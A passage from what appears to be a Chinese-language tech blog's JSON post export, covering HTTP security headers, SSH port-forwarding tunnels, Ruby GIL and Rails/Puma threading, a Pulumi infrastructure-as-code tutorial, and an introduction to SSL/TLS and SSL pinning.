使用方式1res.setHeader('Strict-Transport-Security', 'max-age=16070400; includeSubDomains') Referrer-Policy防禦面向: 增加隱私權 Referrer 代表的是你從 A 網站跳到 B 網站的時候,這個欄位會被記錄為 A簡單來說,他是記錄你上一個瀏覽的地方的東西 他有以下幾個值可以設定,詳細可以參考這裏 no-referrer不允許被記錄下來 origin只有紀錄 origin,例如在 https://example.com/a.html 底下,只會傳送 https://example.com strict-origin只有在 HTTPS->HTTPS 之間才會被記錄下來 no-referrer-when-downgrade (default)跟 strict-origin 一樣 origin-when-cross-origin只有在 CORS 的時候, referrer 才會被送出,但只有 origin same-originCORS 的時候, referrer 不會被記錄,同源的時候會有 origin strict-origin-when-cross-origin只有在同源的時候才會送出 referrer,而且還是要 HTTPS -> HTTPS unsafe-url不管怎樣都送就對拉 使用方式12res.setHeader('Referrer-Policy', 'no-referrer')res.setHeader('Referrer-Policy', 'unsafe-url') Public-Key-Pins防禦面向: 中間人攻擊 設定 Public-Key-Pins 之後,可以給予我們是否要主動信任 CA (憑證頒發機構) 的權利可以防止攻擊者透過 CA 錯誤的簽署憑證並進行中間人攻擊的安全機制 使用方式1234// 裡面的 base64== 是要透過用自己的憑證,產出的 public keu// 產出的 public key 配合 openssl 產出 fingerprint// 把 fingerprint 貼上來取代掉 base64== 即可res.setHeader('Public-Key-Pins', 'pin-sha256=\"base64==\"; max-age=2592000; includeSubDomains') Referencehttps://developer.mozilla.orghttps://devco.re/blog/2014/03/10/security-issues-of-http-headers-1/https://devco.re/blog/2014/04/08/security-issues-of-http-headers-2-content-security-policy/https://devco.re/blog/2014/06/11/setcookie-httponly-security-issues-of-http-headers-3/","link":"/2017/10/20/secure-header/"},{"title":"關於 SSH Tunnel 連線 (SSH Proxy, SSH Port Forwarding)","text":"這篇主要在介紹 SSH Tunnel 是什麼東西以及教學如何使用 使用情境介紹一般來說會使用到 SSH Tunnel 的其中一個情境會是這樣子的 這裡有兩台機器,分別為 A BB 為重要的服務或是資料A 為我們本身的主機,作為本地端開發時使用的 (開發會需要用到 B 的服務或是資料) 這時候我們總不能每一次在 A 把程式打完,就一次一次把程式放到 B 上面去跑這件事實在是太麻煩了(汗所以可以的話希望可以直接在 A 機器上面就能夠讀取到 B 的服務或是資料這樣的話就能夠方便直接在本地開發而要達成這件事情的方法就是透過 SSH Tunnel 的方式去達成 SSH Tunnel 介紹SSH Tunnel 在者裡面扮演的角色可以這樣思考 你在住家附近有一口水井,但你水井完全是沒有水可以取用然後在距離很遠的地方有一個水庫,要喝水的必須到水庫取水並放回住家附近的水井有一個作法就是,把水井和水庫之間挖一條通道,讓水庫的水直接導入到水井這個通道就是我們 SSH Tunnel 扮演的角色 而用比較技術的說法的話,SSH Tunnel 就是做到了 Port Forwarding 的功用 SSH Tunnel 使用方式這邊主要會是用 Linux 原生指令 ssh 去完成 SSH Tunnel在這之前我們先回想一下 ssh 連線的方式! 當已經有一台 server 上面跑著一個網頁的服務而你可以透過以下指令 ssh 連線到那一台 server 上這邊我們假設遠端 server 的 IP 為 127.0.0.1這裡 IP 只是示意使用, 實際 IP 還是要以要連線的 server IP 為主 透過 ssh root@127.0.0.1ssh 連線上去之後,上面有跑一個 Nginx 的服務在 80 port這時候在 server 上執行 curl localhost 會發現有成功回傳 Nginx 的 Hello 頁面 此時如果你想要在自己的電腦上就能讀取這個網頁或是資料庫該怎麼辦?這邊我們就要介紹 -L 這個 option 可以幫你達成這個目標!Template: ssh -L [local_port]:localhost:[remote_port] root@127.0.0.1 所以如果我要把 server 上的 80 port 網頁服務導入到本地端的 8080 port 該怎麼做呢?可以使用以下這行指令ssh -L 8080:localhost:80 root@127.0.0.1然後在瀏覽器打開 http://localhost:8080 即可看到 server 上面的網頁! 接著又有另一種情境出現了就是在 server 上要讀取 local port 的服務的時候該怎麼辦呢?這裡就可以使用另一種相反的方式,也就是透過 -R 去達成-R 簡單來說就是反過來,你可以把本地機器上的服務 port 導入到 server 讓他連線!Template: ssh -R [remote_port]:localhsot:[local_port] root@127.0.0.1 舉例來說,在本地端起了一個 8080 port 的服務如果要在 server 上 6666 port 讀取的話可以透過以下方式取得!ssh -R 6666:localhost:8080 root@127.0.0.1 後記最近還蠻常會使用到這個方式去連線,於是在這邊特別把它記錄下來然而這種方式只是圖個方便,需要的時候做個 forwarding 而已","link":"/2019/01/08/ssh-tunnel/"},{"title":"Ruby & Rails 運行機制和 single or multi-thread 淺談","text":"[Update 2022-04-23] 新增 sleep case 介紹筆者在學習新的語言時在了解完語言的一些特色後, 會開始稍微研究此語言的運行機制 以筆者最熟悉的 Node.js 來說一定會談論到 Node.js Event Loop像是 Node.js Event Loop 是 Single Thread, 但 Node.js 本身不是等等原理透過了解這些原理, 可以避免寫 code 的時候遇到一些問題舉例來說想在 Node.js 裡面 sleep 5 秒的話, 一定會搭配 Promise 的機制避免 Block Event Loop 那這篇主要是淺談, 畢竟對 Ruby 這個語言還不深入也順便把這篇當作紀錄, 之後有更深的了解也會更新在這篇或挑主題深入說明 此篇用的 Ruby 版本為 2.7 的版本尚未談論到 Ruby 3 引入的新機制, 這等筆者對 Ruby 有比較多的了解後再說了 XD Ruby Single Thread?Ruby 這個語言很有趣它是不是 Single Thread 是由它的 Interpreter 去決定的舉例來說 Ruby 有以下幾種 Interpreter MRI (Ruby 安裝後 Default 使用這個) Jruby Rubinius 等等很多, 這篇就不一一列出來根據不同實作方式, Ruby 的行為就完全會不一樣 題外話: Python 也有 GIL 以這個 example code 來看的話 1234567891011121314require 'benchmark'Benchmark.bm do |x| x.report('w/o') do 10_000_000.times{ 2+2 } end x.report('with') do a = Thread.new{ 5_000_000.times{ 2+2 } } b = Thread.new{ 5_000_000.times{ 2+2 } } a.join b.join endend 透過 Ruby 和 JRuby 去執行會得到兩個不一樣的結果Ruby 執行結果的時間兩者是一樣的JRuby 執行結果的時間是開 Thread 比較快 這個原因牽扯到 MRI 裡面有一個 Global Interpreter Lock (GIL)簡單來說在 MRI 下, 每一次只會有一個 Thread 在運行所以你開兩個 Thread 的話, 並不是同時執行, 而是切換 Thead很像是輪流去執行這兩個 Thread 也就是說掌握 Lock 的 Thread 就掌握了執行的權利而剛剛提到切換的行為我們稱之為 Context Switching 再來讓我們看一個例子123456789101112131415161718require 'benchmark'Benchmark.bm do |x| x.report('w/o') do items = [] 10_000_000.times{ items << 1 } puts \"\\n item length: #{items.length}\" end x.report('with') do items = [] a = Thread.new{ 5_000_000.times{ items << 1 } } b = Thread.new{ 5_000_000.times{ items << 1 } } a.join b.join puts \"\\n item length: #{items.length}\" endend 這個用 Ruby 和 Jruby 得到的結果也會不一樣Ruby (MRI): 兩者都會拿到 10000000Jruby: 沒開 Thread 會是拿到 10000000, 有開 Thread 每一次都拿不一樣 原因也是因為 Ruby 有 GIL 的機制存在, 所以不會導致 race condition 出現但因為 Jruby 是真正以 mutil-thread 去執行, 所以就會出現 race condition 出現, 進而導致結果不一樣而如果想再 Jruby 裡面解決這件事情, 必須加上 Mutex 的機制去保證一次只會有一個 Thread 在處理共同資料類似以下方式就可以正常運作, 但如果你的 rails 是跑在多台機制上面, 就又會需要其他機制去處理共同資料問題 12345678910111213141516171819202122232425262728require 'benchmark'mutex = Mutex.newBenchmark.bm do |x| x.report('w/o') do items = [] 10_000_000.times{ items << 1 } puts \"\\n item length: #{items.length}\" end x.report('with') do items = [] a = Thread.new{ mutex.synchronize { 5_000_000.times{ items << 1 } } } b = Thread.new{ mutex.synchronize { 5_000_000.times{ items << 1 } } } a.join b.join puts \"\\n item length: #{items.length}\" endend 但是這個 Thread 如果是在操作 I/O (network, sql) 等等情況時Lock 會被釋放並讓其他 Thread 可以有執行的權利就可以達成很像平行化執行的感覺, 可以看看這個範例 12345678910111213141516171819require 'benchmark'require 'uri'require 'net/http'uri = URI('https://google.com.tw')Benchmark.bm do |b| b.report('w/o') do res1 = Net::HTTP.get_response(uri) res2 = Net::HTTP.get_response(uri) end b.report('with') do a = Thread.new{ Net::HTTP.get_response(uri) } b = Thread.new{ Net::HTTP.get_response(uri) } a.join b.join endend 執行會發現有開 Thread 的那個明顯快上一倍的時間但這並不是因為他同時開兩個 Thread 去執行而是執行第一個 Thread 時, 發現是 I/O operation 所以把 Lock 釋放讓第二個 Thread 可以接著去運行 這邊先多提到一點在 Ruby 2.7 下, Thread Model 是 1-1 (one-to-one) 的形式而這牽扯到作業系統的 User-Space Thread 和 Kernal-Space Thread這邊就先想成, 當 Ruby 開了一個 Thread 它就是到作業系統開了 Thread 去執行只是 Ruby 在有 GIL 的狀況下, 一次只會有一個 Thread 被執行而關於 User-Space / Kernal-Space Thread 則會另外說明, 目前並不會影響後續的閱讀但假如這篇是在講 Go 的話, 這一點就必須先說明, 否則會不好理解 Go 實作的原理有興趣可以看看筆者這篇 Thread Model 那目前對 Ruby 的認知大概是這樣 (依舊在研究中 XD)這邊提供幾篇關於 GIL 的文章可以閱讀 The Ruby Global Interpreter Lock Ruby 无人知晓的 GIL [筆記] Threads in Ruby [筆記] Threads in Ruby (2) 接著講到 Ruby 就一定要談談 Rails 的部分 Rails 包含哪些東西這裡用 Rails 6 的預設去說明雖然我們都只講 Rails, 但其實它裡面還包含了很多不同層面的東西往下之前我們必須先定義好幾項名詞 Rails 是一種 Web Framework, 並不是一個 Appliction Server而運行我們 Rails 程式的 Server, 我們會把它稱為 Application Server 那 Application Server 是什麼呢?可以運行程式的商業邏輯並處理 HTTP 請求, 我們就可以稱之為是 Appliaction Server 在 Rails 安裝的 gem 中裡面會看 Rack & Puma 兩個東西 Puma 屬於 Application Server Rack 屬於一種中間件, 統一接口讓所有 Application Server 都能透過統一的 Interface 去跟程式溝通 所以到目前為止整體架構如下 Ruby - 程式語言MRI - 實作 Ruby 底層運行的一種機制Rails - Web FrameworkRack - 中間件, 統一接口讓所有 Application Server 都能透過統一的 Interface 去跟程式溝通溝通Puma - Appliction Server 但有趣的地方在於, 我查了很多資料在 Puma 和 Heroku 官網說 Puma 是一種 Web Server在其他部落格或是 StackOverflow 中, 都會把 Puma 說是一種 Application Server不過就以我理解來說, 把 Puma 的定位想成 Application Server 會比較妥當在跟別人的討論過程中, 也有人提出因為 Application Server 也是 Web Server 的一種所以我在猜這應該是為啥 Puma 官網歸類在 Web Server 的原因 那這裡定義的 Web Server 又是什麼呢?處理靜態檔案, 例如 Nginx / Apache 就非常適合這種應用, 它們也就屬於 Web Server 的範疇除此之外, Nginx / Apache 也很適合處理大量 Request並且可以當作 Reverse Proxy 把 Request bypass 到 Application Server也就是我們俗稱的 Load Balancer 綜合以上會出現其中一種架構Nginx (Web Server) -> Puma (Appliaction Server) -> Rack -> Rails Appliaction 可以參考以下文章 A Web Server vs. an App Server Rails Server options Why do I need Nginx with Puma Why Do We Need Application Servers in Ruby? (Like Puma) Rack Explained For Ruby Developers Custom (400 / 500) Error Pages in Ruby on Rails -> Exception Handler (文章中間有提到 Rails 架構) Rails 機制接著我們會說明 Rails 和 Puma 有哪些比較特別的機制 這裡目前還是以 Rails 和 Puma 官網的資料做整理若有我沒提到的部分, 非常歡迎留言, 我會再重新整理出新的內容不然目前只會以個人學習到的部分去做紀錄 Rails 針對每一個請求都會重新去 new 出一個 instance也就是你宣告在 Controller 裡的 instance 變數, 是只給當下的請求使用下一個請求拿到的資料就會是原本預設設定好的, 而不會跟前一個請求有相依性 接著來說說 Puma 作為 Application Server 做了哪些事情 Puma serves the request using a thread pool.Each request is served in a separate thread,so truly concurrent Ruby implementations (JRuby, Rubinius) will use all available CPU cores.Originally designed as a server for Rubinius, Puma also works well with Ruby (MRI) and JRuby. 依照官網說明, Puma 原本是被設計給 Rubinius 去使用的而這裡的 Rubinius 也就是我們提到, 透過不同的實作機制可以讓 Ruby 變成一個可以真正執行 multi-threads 的機制透過 Puma & Rubinius 組合, 就可以完全處理運用所有 CPU 資源 至於 Ruby (MRI) 的話, 只要是處理關於 blocking I/O (例如 Network 相關的)Puma 則是會盡可能讓他們以平行化的方式完成 不過這邊我們來看看一個高 CPU 運算的 rails 案例 (Puma min & max thread: 5)我定義一個 function, 並在 rails controller 去呼叫, fib(37) 大約花費 2 秒內 1234def fib(n) return n if n < 2 fib(n-2) + fib(n-1)end 當我透過 Ruby (MRI) 去執行的時候, 同時開兩個網頁呼叫 URL得到的結果是, 兩個頁面都花了將近 4 秒以後才回傳回來其實這就是 GIL Context Switching 而造成的影響這裡也符合一開始我們 example code 的結果 但如果 Puma 的 min & max thread 改成 1 的話第一個 request 會是 2 秒第二個 request 會是 4 秒因為 Puma 最多同時只能處理一個請求, 另一個請求就只好等前一個處理完畢 如果要更詳細說明 Puma 機制的話每當有一個 TCP 請求近來, Puma 每一個 Worker 會有一條專門接收請求的 Thread這個 Thread 是單條且獨立於 Puma 中的 Thread Pool, 這裡把它稱之 Receive Thread 每當 Receive Thread 讀取完請求後, 會把請求放入到一個 todo list 之中接著當 Thread Pool 裡面有 free/waiting Thread 就會撿去處理 上面的流程是在 queue_requests: true 這個情況 (預設行為)若是為 false, 就會變成請求一進來直接被放入到 todo, 接著由 Thread Pool 去讀取請求 更詳細的說明可以直接看 Puma Architecture 另外還有一個特別的部分,在 rails 中那條 Thread sleep 的話,是會釋放 GIL 的以上面的情況來說,max/min thread 為 2,並同時有兩個 request 進來一個打到高 CPU 運算 (約 2s)一個打到 sleep(2)兩個 request 都會是只有花費 2s 左右就回來,所以呼叫 sleep 並不用擔心 GIL 會被鎖住 但要注意的是,那條 Thread 就會被佔用著也就是以剛剛情況來說,再來第三個 request 打到高 CPU 運算的話,會是 4s 後才會回傳 後記這篇說的東西有點多也有點雜, 有些東西也是輕描淡寫的帶過之後看到更深入之後, 應該會根據不同部分去做深入介紹","link":"/2021/07/04/rails-mechanism/"},{"title":"Pulumi 導入教學介紹","text":"前言這篇文章會寫一些 Pulumi 使用教學,以及如果是導入會先從什麼指令開始做比較適合,當然都是個人主觀意見,歡迎大家討論! 介紹Pulumi 是 Infrastructure as Code (IaC) 的一套管理工具,通常會開始用 IaC 的時間點,部分是已經有 Cloud Provider 在運行的情況,並且想用程式碼進行管理,畢竟一開始剛建立 Infrastructure 可能還是會選用 UI 建立會來得比較快速。 那通常 IaC 管理化會有什麼樣的好處呢? 版本控制,透過 code review 確保修改不會錯誤 不必依賴 UI,可建置 CI/CD 流程 複製新的環境時更為容易 (staging, production) 程式即文件,所有 Infrastructure 的建置都是程式碼,而程式碼本身就是文件的一種,可以透過這個去了解整體 Infrastructure 建置流程 而可能的問題則是 若不善用 IaC 工具區分環境,會導致程式碼混亂,staging & production 程式混在一起,變的難以理解 畢竟是用程式管理,對應的程式架構勢必需要規劃有彈性且可擴充的方式 簡單的操作 (改字串等等),會需要重新經過一大輪 CI/CD,相對會耗時,但這是要管理化的必要之惡 簡單介紹完後,接著的內容會圍繞在如何導入 Pulumi 去使用,而這篇會專注在 Pulumi 導入時要注意的一些點,以下範例都會用 Go 為主。 雖然我覺得 typescript 寫起來比較好寫,不過最近寫 Go 就順便用了 Stack在進入實際操作之前,先來介紹 Pulumi 中的 Stack 這個名詞。 每一個 Stack 都是獨立的設定環境,所有程式的結果都會紀錄在這個 Stack 上,也可以 Import 現有 Cloud Provider 狀態到這個 Stack 裡面,也就是說 Pulumi 是透過 Stack 去管理所有 Cloud Provider 資源的狀態。另外 Stack 名字基本上就想怎取都可以,官方給的建議類似是 dev staging production 等等,但也可以是 feature branch,單純就是一個名字而已。 而不同資源當然也可以用不同 Stack 去管理,舉例來說我們 AWS S3 有一個 bucket 叫做 test,然後裡面有三個 a b c 三個檔案,如果我們想用不同 Stack 管理可以有下面的組合。 以上面組合來說,Stack A 可以把 a 加到資源管理裡面,Stack B 則是 b c,是可以在不同 Stack 去管理。 而實際上在建立資源時,要留意有些 function 提供的參數中,存在一些需要填 name 的地方,這個 name 是給 Pulumi 用還是給 Cloud Provider 用,因為 Pulumi 為了管理資源狀態,會需要 unique id 去做辨識,待會用 import AWS route53 做範例解釋。 Import假設我們現在在 AWS route53 上面已經有存在一個 jackjack.com zone,但 Stack 是新的時候,該如何把這個資源納入到 Pulumi 去管理呢? 透過 pulumi import aws:route53/zone:Zone myjackzone zone_id 就可以了,但要注意在此指令中的 myjackzone 是 pulumi resource 的名稱,並不是 AWS route53 上面的任何名稱,接著當 import 完成後,可以試著直接打 pulumi up 會發現跳出的預覽改變,是刪除這筆 Zone。 原因是當你 import 後,Pulumi 會認定這筆資源現在是正確被使用的,但重新跑 pulumi up 之後,在程式碼之中,找不到任何有建立過這筆資源的程式碼的話,就會被認定為你是要刪除。所以跑完 import 後,會需要再把對應的程式碼給補上,這樣跑 pulumi up 的時候才不會出現刪除的預覽。 但要手動補上程式碼太蠢了,所以會發現其實跑完上面 import 指令後,會產生出一份程式碼,直接把這份程式碼放到專案裡面即可,或是用 pulumi import aws:route53/zone:Zone myjackzone zone_id -o {file_name} 也行,產生的程式碼如下。 1234567891011121314151617181920package mainimport ( \"github.com/pulumi/pulumi-aws/sdk/v4/go/aws/route53\" \"github.com/pulumi/pulumi/sdk/v3/go/pulumi\")func main() { pulumi.Run(func(ctx *pulumi.Context) error { _, err := route53.NewZone(ctx, \"myjackzone\", &route53.ZoneArgs{ Comment: pulumi.String(\"\"), ForceDestroy: pulumi.Bool(false), Name: pulumi.String(\"jackjack.com\"), }, pulumi.Protect(true)) if err != nil { return err } return nil })} 這個檔案用途其實蠻大的,因為文件上的一些參數描述跟你在畫面上看到的會不太一樣,就可以透過這個程式碼去了解目前 AWS 上畫面轉換成程式碼的話實際會長什麼樣子,不過還是建議要整理這份程式碼,否則若你資源檔太大,這個程式碼就越多。 Stack file完成匯入後,先來看看目前 Stack 儲存的資源狀態長什麼樣子 (只列出其中一小部分),這裡可以透過 pulumi stack export 匯出目前現有所有資源的狀態。 12345678910111213141516171819202122232425262728293031323334353637{ \"urn\": \"urn:pulumi:dev::pulumi-demo::aws:route53/zone:Zone::myjackzone\", \"custom\": true, \"id\": \"xxxx\", \"type\": \"aws:route53/zone:Zone\", \"inputs\": { \"__defaults\": [ \"comment\", \"forceDestroy\", \"name\" ], \"comment\": \"\", \"forceDestroy\": false, \"name\": \"jackjack.com\" }, \"outputs\": { \"arn\": \"arn:aws:route53:::hostedzone/xxxx\", \"comment\": \"\", \"delegationSetId\": \"\", \"id\": \"xxxx\", \"name\": \"jackjack.com\", \"nameServers\": [ \"ns-1xxx\", \"ns-2xxx\", \"ns-3xxx\", \"ns-4xxx\" ], \"tags\": {}, \"tagsAll\": {}, \"vpcs\": [], \"zoneId\": \"xxxx\" }, \"parent\": \"urn:pulumi:dev::pulumi-demo::pulumi:pulumi:Stack::pulumi-demo-dev\", \"protect\": true, \"provider\": \"urn:pulumi:dev::pulumi-demo::pulumi:providers:aws::default_4_37_1::xxxx\", \"sequenceNumber\": 1} 可以發現有一個 urn 儲存有 myjackzone 這個字眼,所以其實可以對應到這個名稱是資源管理用的名稱,再對回去原本程式碼,就會發現 jackjack.com 以及 myjackzone 的意義是不一樣。 12345route53.NewZone(ctx, \"myjackzone\", &route53.ZoneArgs{ Comment: pulumi.String(\"\"), ForceDestroy: pulumi.Bool(false), Name: pulumi.String(\"jackjack.com\"), }, pulumi.Protect(true)) Refresh那通常 import 之後,若有人是手動在 Cloud Provider 上面做更動的話,要把這個更動同步到 Stack 裡面,只需要用 pulumi refresh 去同步即可,不過同步完,因為程式碼會遺漏缺少的部分,所以會需要補上對應的程式碼。 State and Backend另外 Stack file 儲存的位置會根據你設定的 backend url 而有所不一樣,舉例來說可以用 pulumi service 或是 aws s3 去管理這個 stack file,所以在一開始建議先想好要用什麼 Backend 去管理所有 Stack file,又或是分開管理,就依照不同需求去處理。 而當要做切換不同 Backend 的時候,只需要用 pulumi login ${backend-url} 切換即可,其他部分可以參考 State and Backends。 Graph另外提到一下,pulumi 有支援把整個 infra 的東西會出 pulumi stack graph {graph_file_name},檔案是 DOT 格式,接著就看要用什麼把圖話出來,這邊提供一個隨便找到的工具 GraphvizOnline。 接著比較值得一提的是 pulumi service 提供的圖表蠻好看的,以下就是 https://api.pulumi.com 提供的圖表。 不過要注意,上面這張圖是沒有 parent 的,所以在建立資源時,如果想讓圖表比較好看,可以在 parent 多加資源加上,就可以變這樣。 Resource file接著要繼續講 Import Resource 的部分,當然 pulumi 也有提供可以直接 import 整個資源檔,但必須要自己製作,整體格式如下。 1234567{ \"resources\": [{ \"type\": \"aws:route53/zone:Zone\", \"name\": \"myZone\", \"id\": \"Z1D633PJN98FT9\" }]} 接著透過 pulumi import -f filename.json,就可以完成匯入,其他詳細介紹可以直接看官網Bulk Import Operations Multiple Regions當然有些服務不太可能只存在在一個 region,勢必會出現多個 region 的存在,那麼要如何 import 多個 region 呢?只需要填入 nameTable 以及 provider 的 key-value 即可完成,整體 json 檔案如下。 123456789101112{ \"nameTable\": { \"us-east-1\": \"urn:pulumi:xxxxx::pulumi:providers:aws::xxxxx\" }, \"resources\": [ { \"type\": \"aws:acm/certificate:Certificate\", \"name\": \"jack.hi\", \"id\": \"xxxxx\", \"provider\": \"us-east-1\" },} 那麼要如何獲得 nameTable 裡面 urn 的值呢? 首先必須先程式建立一個 Provider,程式碼很單純,以 us-east-1 來說,只需要以下這樣即可。 123aws.NewProvider(ctx, \"useast-1\", &aws.ProviderArgs{ Region: pulumi.String(\"us-east-1\"),}) 接著取得 urn 有兩種方式 pulumi stack export 取得此 provider urn pulumi up 建立的時候,會出現此 resource 的 urn 直接複製即可 接著就可以把 urn 的值回填,其他參數可以參考 pulumi import 的文件。 Create Resource呼叫 API 建立資源的部分都蠻單純的,不同資源建立的用法都在官方文件上。 不過在每次建立之前可以先透過 pulumi preview --diff 的方式去了解這次有什麼變更,這也可以搭配前面提到的 refresh 去使用,例如 pulumi preview --diff --refresh 去確認狀態。 這邊就不多帶下去,不過我們要看一個比較特別的點。 Execution Order要特別注意會有執行順序的問題,那為了 demo 這個必須要重新來過,可以執行 pulumi destroy 的指令,刪除 pulumi 的資源管理的檔案以及 aws service,注意這個會真的刪除 aws service 的東西,所以要特別小心。 這邊快速提到一點,為了要防止不小心被誤砍,其實在建立的時候都可以加上 pulumi.Protect(true) 去做一個保護,加上去之後需要透過其他方式解除保護,這樣才可以刪除。 接著我們實際上來建立一個 zone 以及一個 record,程式碼如下。 123456789101112131415zone, _ := route53.NewZone(ctx, \"myjackzone\", &route53.ZoneArgs{ Comment: pulumi.String(\"\"), ForceDestroy: pulumi.Bool(false), Name: pulumi.String(\"jackjack2.com\"),}, pulumi.Protect(true))route53.NewRecord(ctx, \"www.jackjack2.com.A\", &route53.RecordArgs{ ZoneId: zone.ZoneId, Name: pulumi.String(\"www.jackjack2.com\"), Ttl: pulumi.Int(300), Type: pulumi.String(\"A\"), Records: pulumi.StringArray{ pulumi.String(\"8.8.8.8\"), },}, pulumi.Protect(true)) 接著跑 pulumi up 會發現在 preview 時選擇 detail 看到 zoneId 的欄位是 output string 並不是一個 ID,這是因為 zone 沒建立起來,你是無法建立 record,所以他的意思就是會拿前面建立完成後的資料,當作後面的 input 去建立。 Preview 成功不等於 Apply 成功接著比較要注意的一點是,preview 即使成功,但不代表你套用後是會正確的,例如以下的範例。 123456789101112131415route53.NewRecord(ctx, \"www.jackjack2.com.A\", &route53.RecordArgs{ ZoneId: pulumi.String(\"asd\"), Name: pulumi.String(\"www.jackjack2.com\"), Ttl: pulumi.Int(300), Type: pulumi.String(\"A\"), Records: pulumi.StringArray{ pulumi.String(\"8.8.8.8\"), },}, pulumi.Protect(true))route53.NewZone(ctx, \"myjackzone\", &route53.ZoneArgs{ Comment: pulumi.String(\"\"), ForceDestroy: pulumi.Bool(false), Name: pulumi.String(\"jackjack2.com\"),}, pulumi.Protect(true)) 故意亂改 record zone id,實際套用後會是看到建立兩筆建立成功,以及一個建立失敗的結果。 出現失敗可能不等於全部失敗而看到出現失敗不代表全部會失敗,如果其他參數都是合理的話,則是會建立成功,如前一張圖最後顯示 2 created 代表還是有成功的,接著再重新跑一次 pulumi up 會發現,只會出現有一項要建立而已 State Delete因為有 destroy 可以刪除 pulumi state 以及 cloud serviec,那麼就一定會單純刪除 pulumi state 的指令,就是 pulumi state delete {urn}。透過這個指令,可以單純刪除掉 pulumi 內的狀態而不影響 Cloud Provider 的內容。 這個用途以個人的情況來說會用在,若是 resource 不想被當前 stack 管理,就可以用這個指令去消除狀態。 Github Action基本上程式建構完成之後,就可以開始著手處理 CI/CD 的部分,這部分可以參考 Pulumi Github Action,個人覺得寫蠻詳細的。 後記上面的流程是個人在導入時遇到的一些小問題,這邊就做個紀錄,在慢慢把 Cloud Provider 納入 IaC 工具管理應該都會有這問題,以 pulumi 來說,我就會時常需要 import 現有 Cloud Provider 資源的狀態進來,那不小心 import 就勢必須要 delete 掉,且 import 成功後,還需要補上程式碼,避免 pulumi up 的時候,把你判斷成要刪除的窘境。 References Importing Infrastructure Resources Pulumi Import State and Backends","link":"/2022/02/22/pulumi-tutor/"},{"title":"從 SSL 到 SSL Pinning 看完你就懂!","text":"前言看不懂跟我說,我想辦法補充 XD 正文開始 …某天有人問我 某: SSL Pinning (Certificate Pinning) 是什麼東西啊?我: SSL Pinning 是為了抵禦中間人攻擊 (Man-in-the-middle Attack, aka MITM) 而形成的一種防禦機制某: …… 你這樣說最好是有人聽得懂我: 我錯了 … 給點機會讓我重新解釋解釋 為了要了解這個的意思我們要先來說說 SSL 是什麼而 SSL Pinning 又是要 pin 什麼東西然後中間人又是哪個小三?? 什麼是 SSL?SSL 全名是,Secure Sockets Layer但這是屬於舊的標準,新的標準則是 Transport Layer Security (TLS) 但不管新舊標準,他們的目的都是同一個那就是保護使用者資料的安全為目的,但 … 怎樣算保護呢? 這裡提到安全其實又會切分成三個種類可用性、機密性、完整性,這個有機會再開個篇章來談談這邊就先當成是保護資料安全吧! 先來說一般的狀況,沒有 SSL 的時候A 跟 B 兩家房子,之間有一個傳輸通道是用來傳輸各種訊息或是物資,但!!!這個通道是透明的也就是說,其他人可以跟清楚的看到 A 跟 B 到底在秘密地交換什麼東西而有了 SSL 後,就是從原本的透明傳輸管道升級成非透明的傳輸管道這樣其他人就不容易的去看到 A 跟 B 在運送什麼東西了 這裡就不提到 http 和 https 的概念但可以簡單說,http 有了 ssl 就升級為 httpshttp 就是透明管道https 就是非透明管道 那麼 SSL 是怎麼運作的,我們首先要知道 公私鑰 的概念SSL 其中有一段是透過非對稱式加密的公私鑰達到認證並建立連線通道建立安全連線通道後,會利用對稱式加密對這之間所有資料進行加解密 聽起來很饒口 … 沒關係為了要了解整個概念我們必須先來談談對稱式加密和非對稱式加密 首先是對稱式加密假如有一種加密的演算法是『把字母往後位移 k 個位子,把位移後的結果以及 k 給對方』所以當 A 想要告訴 B 一件事情A 就透過這種加密方法把 HI 這個詞,往後位移 2 個位子,就變成 JK當 B 收到位移數是 2 以及 JK 的時候,B 就可以透過這個位移數 2 把他回推成 HI這裡的 2 就是我們的 k 也就是我們的金鑰,A 和 B 都是拿到同樣的數字 2這就是對稱式加密的一種概念 那非對稱式就是 A 和 B 拿到的金鑰是不同個的 (以上述例子,A 拿公鑰,B 拿私鑰)而公私鑰,一定是一組一對一配對起來的,如果公鑰是 O 私鑰是 P那絕對是 OP 為一組,不會有 WP 這種組合出現或是 OW 這種組合出現而如何實現這種演算法,請參考 RSA 相關的文章,這裡就不多做解釋 (不然就跑題了 所以在 SSL 的概念裡面會有公私鑰,這裡有兩個概念第一種:資料透過私鑰加密,再透過公鑰解密 -> 驗證訊息來源是否真的是擁有私鑰的人第二種:資料透過公鑰加密,再透過私鑰解密 -> 把資料加密,並可還原資料 在 SSL 整個通訊協議中,當瀏覽器收到伺服器 A 送來可支援的加密演算法時會看到利用第一種方式去驗證伺服器 A 傳送過來的資料是否真的是伺服器 A 而不是 B 的接下來會選擇一把對稱式加密金鑰,然後利用第二種方式加密傳給伺服器伺服器解密後取得這把對稱式加密金鑰,之後瀏覽器和伺服器之間的通訊就用這把對稱式金鑰加解密 整個 SSL 建立的步驟可以分為以下三個大項 Authentication (藍色部分): 使用非對稱式加密演算法進行伺服器數位簽章的認證 Key Exchange (綠色部分): 交換一把對稱式加密金鑰 Encrypted Data Transfer (紅色部分): 瀏覽器和伺服器利用第二步的對稱式加密金鑰,對通訊間的資料進行加解密 可以參考下面的簡略圖,但更詳細的就不是本篇探討的地方詳細可以參閱那些關於SSL/TLS的二三事(九) — SSL (HTTPS)Communication看更多細節 第二個步驟的交換,可以利用伺服器憑證的公鑰加密對稱式金鑰伺服器收到這個加密後的對稱式金鑰,就可以用私鑰解密,然後取得對稱式金鑰但如果是使用 Diffie — Hellman 去交換對稱式金鑰的話就不需要用公鑰加密,私鑰解密了因為 Diffie — Hellman 可以”安全地”告訴對方密碼而不用擔心密碼被竊聽. 剛剛提到的憑證,就是我們瀏覽器上面會看到鎖頭,點開後那就是憑證 執行此指令可以看到完整的憑證openssl s_client -connect github.com:443 -servername github.com -showcerts 因為這憑證很長一串,這裡就不截圖顯示了各位可以自行在電腦上面執行試試看 那為什麼透過憑證可以取得到公鑰呢? 因為從私鑰中是可以算出 public key 出來的產生憑證的流程是,一開始產生出來的公私鑰匙,透過私鑰產出一個憑證申請檔案這個憑證申請檔案會包含一些申請者的資訊以及公鑰此檔案經過第三方的認證之後,就會成了憑證所以透過憑證可以把公鑰取得回來 私鑰產生出來之後,是要被嚴格保管的,絕對不能洩漏出去,所以才會稱為私鑰但公鑰就沒關係了,所以才會叫做公開金鑰 (公鑰) 什麼是 SSL Pinning ?SSL Pinning 也可以稱為 Certificate Pinning而前面有提到一個概念,公私鑰是一對一配對的所以同一組公私鑰出來的憑證,這個憑證裡面的公鑰絕對是不會變的而 SSL Pinning 就是要把 SSL 固定起來這個固定就是利用公鑰的特性達到的 